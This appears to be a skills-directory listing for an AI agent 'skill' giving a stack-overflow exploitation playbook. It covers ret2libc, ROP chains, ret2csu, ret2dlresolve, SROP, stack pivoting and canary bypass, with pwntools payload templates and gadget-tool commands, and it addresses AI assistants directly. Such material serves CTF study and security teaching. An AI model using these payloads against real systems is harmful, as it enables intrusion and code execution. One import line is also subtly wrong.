stack-overflow-and-rop

Stack overflow and ROP playbook. Use when exploiting buffer overflows to hijack control flow via return address overwrite, ROP chains, ret2libc, ret2csu, ret2dlresolve, or SROP on Linux userland binaries.

Safety Notice

This listing is imported from skills.sh public index metadata. Review upstream SKILL.md and repository scripts before running.

Copy this and send it to your AI assistant to learn

Install skill "stack-overflow-and-rop" with this command: npx skills add yaklang/hack-skills/yaklang-hack-skills-stack-overflow-and-rop

SKILL: Stack Overflow & ROP — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert stack-based exploitation techniques. Covers classic buffer overflow, return-to-libc, ROP chain construction, ret2csu, ret2dlresolve, SROP, stack pivoting, and canary bypass. Distilled from ctf-wiki advanced-rop, real-world CVEs, and CTF competition patterns. Base models often miss the nuance of gadget selection under constrained conditions.

0. RELATED ROUTING

Advanced Reference

Load ROP_ADVANCED_TECHNIQUES.md when you need:

  • Blind ROP (BROP) methodology against remote services without binary
  • ret2vdso for ASLR bypass on 32-bit systems
  • Partial overwrite techniques for PIE bypass
  • JOP / COP alternative code-reuse paradigms

1. STACK LAYOUT FUNDAMENTALS

High Address
┌─────────────────────┐
│   ...  (caller)     │
├─────────────────────┤
│   Return Address    │  ← overwrite target (EIP/RIP control)
├─────────────────────┤
│   Saved EBP/RBP     │  ← overwrite for stack pivoting
├─────────────────────┤
│   Canary (if enabled)│
├─────────────────────┤
│   Local Variables    │  ← buffer starts here
├─────────────────────┤
│   ...               │
└─────────────────────┘
Low Address
Elementx86 (32-bit)x86-64 (64-bit)
Return address size4 bytes8 bytes
Saved frame pointer4 bytes (EBP)8 bytes (RBP)
Canary size4 bytes8 bytes
Calling conventionargs on stackRDI, RSI, RDX, RCX, R8, R9 then stack
Syscall instructionint 0x80syscall

2. RETURN-TO-LIBC

When NX is enabled (stack not executable), redirect execution to libc functions.

Classic ret2libc (32-bit)

payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)      # fake return address for system()
payload += p32(binsh_addr)     # arg1: "/bin/sh"

ret2libc (64-bit) — Need Gadgets for Arguments

pop_rdi = elf_base + 0x401234  # pop rdi; ret
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

Libc Base Leak Methods

MethodTechniqueWhen
puts@plt(puts@GOT)Leak resolved libc addressGOT already resolved, puts in PLT
write@plt(1, read@GOT, 8)Leak via write syscallwrite available
printf("%s", GOT_entry)Leak via format stringprintf controllable
Partial overwriteOverwrite low bytes of return to reach leak gadgetPIE enabled, known last 12 bits
# Typical leak pattern
rop = b'A' * offset
rop += p64(pop_rdi) + p64(elf.got['puts'])
rop += p64(elf.plt['puts'])
rop += p64(main_addr)  # return to main for second payload

io.sendline(rop)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']

one_gadget — Single Gadget RCE

$ one_gadget /path/to/libc.so.6
0x4f3d5  execve("/bin/sh", rsp+0x40, environ)
  constraints: rsp & 0xf == 0, rcx == NULL
0x4f432  execve("/bin/sh", rsp+0x40, environ)
  constraints: [rsp+0x40] == NULL

Constraints must be satisfied — check register/stack state before using.


3. ROP CHAIN CONSTRUCTION

Tool Comparison

ToolStrengthCommand
ROPgadgetComprehensive search, chain generationROPgadget --binary elf --ropchain
ropperSemantic search, JOP/COP supportropper -f elf --search "pop rdi"
pwntools ROPAutomated chain buildingrop = ROP(elf); rop.call('system', ['/bin/sh'])
xropFast gadget searchxrop -r elf

Essential Gadget Patterns

PurposeGadgetUse Case
Set RDI (arg1)pop rdi; retMost function calls
Set RSI (arg2)pop rsi; pop r15; retTwo-arg functions
Set RDX (arg3)pop rdx; ret (rare)Three-arg functions, use ret2csu
Syscallsyscall; retDirect syscall invocation
Stack pivotleave; retMove RSP to controlled buffer
Align stackret (single ret gadget)Fix 16-byte alignment for movaps

x86-64 stack alignment: system() and other libc functions use movaps which requires RSP % 16 == 0. Insert an extra ret gadget before the call if alignment is off.


4. ret2csu — Universal 3-Argument Control

__libc_csu_init exists in nearly all dynamically linked ELF binaries and provides controlled calls with up to 3 arguments.

; Gadget 1 (csu_init + 0x3a): pop registers
pop rbx     ; 0
pop rbp     ; 1
pop r12     ; call target (function pointer address)
pop r13     ; arg3 (rdx)
pop r14     ; arg2 (rsi)
pop r15     ; arg1 (edi = r15d)
ret

; Gadget 2 (csu_init + 0x20): controlled call
mov rdx, r13
mov rsi, r14
mov edi, r15d    ; NOTE: only sets edi (32-bit), not full rdi
call [r12 + rbx*8]
add rbx, 1
cmp rbp, rbx
jne <loop>
; falls through to gadget 1 again

Key constraints: r12 must point to a pointer to the target function (e.g., GOT entry), not the function address directly. Set rbx=0, rbp=1 to skip the loop.


5. ret2dlresolve

Forge ELF dynamic linking structures to resolve an arbitrary function (e.g., system) without a libc leak.

Attack Flow

  1. Control execution to call _dl_runtime_resolve(link_map, reloc_offset)
  2. Forge Elf_Rel at known writable address pointing to fake Elf_Sym
  3. Forge Elf_Sym with st_name pointing to fake string "system\x00"
  4. Set reloc_offset so resolver uses forged structures
  5. Argument (/bin/sh) placed on stack or in known buffer
# pwntools automation (recommended)
from pwntools import *
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
io.sendline(rop.chain())
io.sendline(dlresolve.payload)

32-bit vs 64-bit Differences

Aspect32-bit64-bit
Relocation typeElf32_Rel (8 bytes)Elf64_Rela (24 bytes)
Symbol table entryElf32_Sym (16 bytes)Elf64_Sym (24 bytes)
AlignmentRelaxedStrict (must satisfy ndx = (reloc_offset) / sizeof(Elf64_Rela), then sym = symtab[ndx])
Version checkUsually skippableVERSYM[sym_index] must be valid or 0

6. SROP — Sigreturn-Oriented Programming

Abuse the sigreturn syscall to set all registers at once from a fake Signal Frame on the stack.

from pwn import *
frame = SigreturnFrame()
frame.rax = constants.SYS_execve  # 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret_addr
frame.rsp = new_stack_addr  # optional pivot

payload = b'A' * offset
payload += p64(pop_rax_ret) + p64(15)  # SYS_rt_sigreturn = 15
payload += p64(syscall_ret)
payload += bytes(frame)

When to use: limited gadgets, no pop rdx, static binary, or need to pivot stack to arbitrary address.


7. STACK PIVOTING

Move the stack pointer to an attacker-controlled buffer when overflow length is limited.

TechniqueGadgetPrecondition
leave; retmov rsp, rbp; pop rbp; retControl saved RBP to point to fake stack
xchg rsp, rax; retSwap RSP with RAXControl RAX (via gadget chain)
pop rsp; retDirect RSP controlRare but powerful
SROP pivotSet RSP in SigreturnFrameOnly need sigreturn gadget

leave;ret Pivot Pattern

Overflow: [AAAA...][fake_rbp → buf][leave_ret_addr]
  1st leave: rsp = rbp → fake_rbp;  pop rbp → *fake_rbp
  1st ret:   rip = leave_ret_addr
  2nd leave: rsp = new_rbp → buf+8; pop rbp → *(buf)
  2nd ret:   rip = *(buf+8) → start of ROP chain in buf

8. CANARY BYPASS

TechniqueConditionMethod
Brute-forcefork() server (canary same in child)Byte-by-byte (256 × 7 = 1792 attempts for 64-bit)
Format string leakprintf(user_input) available%N$p to read canary from stack
Stack readingOne-byte overflow or partial readOverwrite canary null byte, read via error/output
Thread canaryOverflow reaches TLSOverwrite stack_guard in TLS (at fs:[0x28]) simultaneously
Information disclosureUninitialized stack variable leakCanary included in leaked data

9. TOOLS QUICK REFERENCE

checksec ./binary                          # Show protections (NX, canary, PIE, RELRO)
ROPgadget --binary ./binary --ropchain     # Auto-generate ROP chain
ropper -f ./binary --search "pop rdi"      # Semantic gadget search
one_gadget ./libc.so.6                     # Find one-shot RCE gadgets
pwn template ./binary --host x --port y    # Generate pwntools exploit skeleton

10. DECISION TREE

Binary has stack overflow?
├── checksec: NX disabled?
│   └── YES → shellcode on stack, ret to buffer (ret2shellcode)
│   └── NO (NX enabled) →
│       ├── Canary enabled?
│       │   ├── YES → fork() server? → brute-force canary
│       │   │         format string? → leak canary
│       │   │         info leak?     → read canary
│       │   └── NO → proceed to ROP
│       ├── ASLR/PIE enabled?
│       │   ├── PIE → leak code base (partial overwrite last 12 bits, or info leak)
│       │   ├── ASLR only → leak libc base (puts@GOT, write@GOT)
│       │   └── Neither → addresses known, direct ROP
│       ├── Can leak libc?
│       │   ├── YES → ret2libc (system/execve) or one_gadget
│       │   └── NO → ret2dlresolve (forge resolution) or SROP
│       ├── Need 3+ args but no pop rdx?
│       │   └── ret2csu or SROP
│       ├── Overflow too short for full chain?
│       │   └── Stack pivot (leave;ret, xchg rsp)
│       ├── Static binary (no libc)?
│       │   └── SROP + syscall chain (execve via sigreturn)
│       └── Full RELRO?
│           └── Cannot overwrite GOT → target __free_hook, __malloc_hook,
│               or _IO_FILE vtable (see ../arbitrary-write-to-rce/)

Source Transparency

This detail page is rendered from real SKILL.md content. Trust labels are metadata-based hints, not a safety guarantee.

Related Skills

Related by shared tags or category signals.

Web3

defi-attack-patterns

No summary provided by upstream source.

Repository SourceNeeds Review
General

hack

No summary provided by upstream source.

Repository SourceNeeds Review
General

api-sec

No summary provided by upstream source.

Repository SourceNeeds Review
General

api-auth-and-jwt-abuse

No summary provided by upstream source.

Repository SourceNeeds Review